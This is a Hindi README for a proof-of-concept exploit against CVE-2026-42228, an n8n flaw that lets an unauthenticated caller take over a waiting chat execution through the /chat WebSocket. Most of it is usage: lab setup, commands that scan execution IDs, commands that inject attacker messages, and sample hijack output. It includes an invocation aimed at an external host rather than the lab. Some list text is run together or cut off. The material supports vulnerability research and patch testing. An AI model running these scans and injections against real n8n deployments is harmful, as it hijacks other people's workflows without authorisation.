
CVE-2026-42228 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो n8n में एक अनप्रमाणित चैट निष्पादन अपहरण भेद्यता है, जिसमें स्वचालित स्कैनिंग और हमले की स्क्रिप्ट शामिल हैं।
CVE: CVE-2026-42228
गंभीरता: उच्च
प्रभावित: n8n < 1.123.32
समाधान: n8n 1.123.32 / 2.17.4 / 2.18.1
chat-service.ts :: startSession() WebSocket क्वेरी स्ट्रिंग से एक executionId स्वीकार करता है और केवल यह जाँचता है कि निष्पादन डेटाबेस में मौजूद है या नहीं। यह कभी सत्यापित नहीं करता कि कॉलर उस निष्पादन तक पहुँचने के लिए अधिकृत है या नहीं।
एक अनप्रमाणित हमलावर जो प्रतीक्षा (waiting) स्थिति में किसी निष्पादन के लिए एक मान्य संख्यात्मक निष्पादन ID जानता है (या गणना कर सकता है) निम्न कार्य कर सकता है:
/chat WebSocket से कनेक्ट करें।पूर्व-आवश्यकताएँ:
waiting स्थिति में है।chmod +x exploit.sh
./exploit.sh setup
यह n8nio/n8n:1.123.22 (अंतिम प्रभावित रिलीज़) खींचता है, हमलावर इमेज बनाता है, और कमजोर लक्ष्य को http://localhost:5678 पर शुरू करता है।
http://localhost:5678 खोलें और सेटअप विज़ार्ड पूरा करें (कोई भी क्रेडेंशियल)।चैट ट्रिगर नोड में दिखाया गया सार्वजनिक चैट URL खोलें और एक संदेश भेजें। निष्पादन प्रतीक्षा (waiting) स्थिति में प्रवेश करेगा, अगले चैट उत्तर के लिए रुका हुआ।
./exploit.sh scan
# या एक सीमा निर्दिष्ट करें:
./exploit.sh scan 1 500
जब एक कमजोर निष्पादन मिलता है तो अपेक्षित आउटपुट:
[+] WAITING execution found! exec_id=7
Server said: 'n8n|continue'
Server said: '{"action":"sendMessage","sessionId":"...","chatInput":"Hello"}'
[!!!] Hijack payload sent: '[CVE-2026-42228] hijacked by PoC'
./exploit.sh attack 7
# या कस्टम पेलोड के साथ:
./exploit.sh attack 7 "custom injected message"
n8n एडिटर में वापस, वर्कफ़्लो वैध उपयोगकर्ता के इनपुट के बजाय हमलावर के इंजेक्ट किए गए संदेश के साथ फिर से शुरू होता है।
# हमलावर इमेज बनाएँ
docker build -t n8n-chat-hijack-poc .
# स्कैन करें (साझा लैब नेटवर्क से जुड़ता है)
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--start-id 1 --end-id 200
# किसी विशिष्ट निष्पादन पर हमला करें
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--exec-id 7 --inject "PWNED"
# बाहरी लक्ष्य के विरुद्ध (नेटवर्क फ़्लैग की आवश्यकता नहीं)
docker run --rm n8n-chat-hijack-poc \
--target https://n8n.example.com \
--exec-id 42 --inject "PWNED"
./exploit.sh clean
कंटेनरों को रोकता है और वॉल्यूम (SQLite डेटाबेस सहित) हटाता है।
| फ़ाइल | विवरण |
|---|---|
poc_GHSA-f77h-j2v7-g6mw.py | स्टैंडअलोन Python PoC |
Dockerfile | हमलावर कंटेनर इमेज |
docker-compose.yml |
| पूर्ण लैब: कमजोर n8n + हमलावर |
exploit.sh | सामान्य संचालन के लिए सहायक स्क्रिप्ट |